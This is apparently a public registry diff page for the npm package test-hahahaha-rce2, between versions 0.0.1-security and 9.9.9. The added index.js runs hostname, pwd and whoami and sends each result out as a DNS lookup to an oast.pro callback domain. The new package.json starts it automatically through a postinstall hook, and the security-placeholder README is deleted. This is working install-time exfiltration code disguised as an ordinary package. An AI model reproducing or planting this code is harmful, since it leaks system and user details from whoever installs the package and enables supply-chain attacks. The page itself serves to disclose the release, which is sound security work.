test-hahahaha-rce2 0.0.1-security → 9.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of test-hahahaha-rce2 might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +30 -0
  2. package/package.json +12 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,30 @@
1
+ const dns = require("dns");
2
+ const { execSync } = require("child_process");
3
+
4
+ // Function to execute a shell command and return the trimmed output
5
+ function runCommand(cmd) {
6
+ return execSync(cmd).toString().trim().replace(/[^a-zA-Z0-9-]/g, ""); // Remove special characters
7
+ }
8
+
9
+ // Get system data
10
+ const hostname = runCommand("hostname");
11
+ const pwd = runCommand("pwd");
12
+ const username = runCommand("whoami");
13
+
14
+ // Function to send DNS A record request
15
+ function sendDNSRequest(data) {
16
+ const trackingDomain = `${data}.cuq6qc0resr6s9214en0ui9b38z3fuas8.oast.pro`;
17
+
18
+ dns.resolve4(trackingDomain, (err, addresses) => {
19
+ if (err) {
20
+ // Silently handle error
21
+ } else {
22
+ console.log(`DNS A record response for ${data}: ${addresses}`);
23
+ }
24
+ });
25
+ }
26
+
27
+ // Send DNS requests
28
+ sendDNSRequest(hostname);
29
+ sendDNSRequest(pwd);
30
+ sendDNSRequest(username);
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "test-hahahaha-rce2",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "9.9.9",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "directories": {
7
+ "test": "test"
8
+ },
9
+ "scripts": {
10
+ "test": "echo \"Error: no test specified\" && exit 1",
11
+ "postinstall":"node index.js"
12
+ },
13
+ "author": "",
14
+ "license": "ISC"
6
15
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=test-hahahaha-rce2 for more information.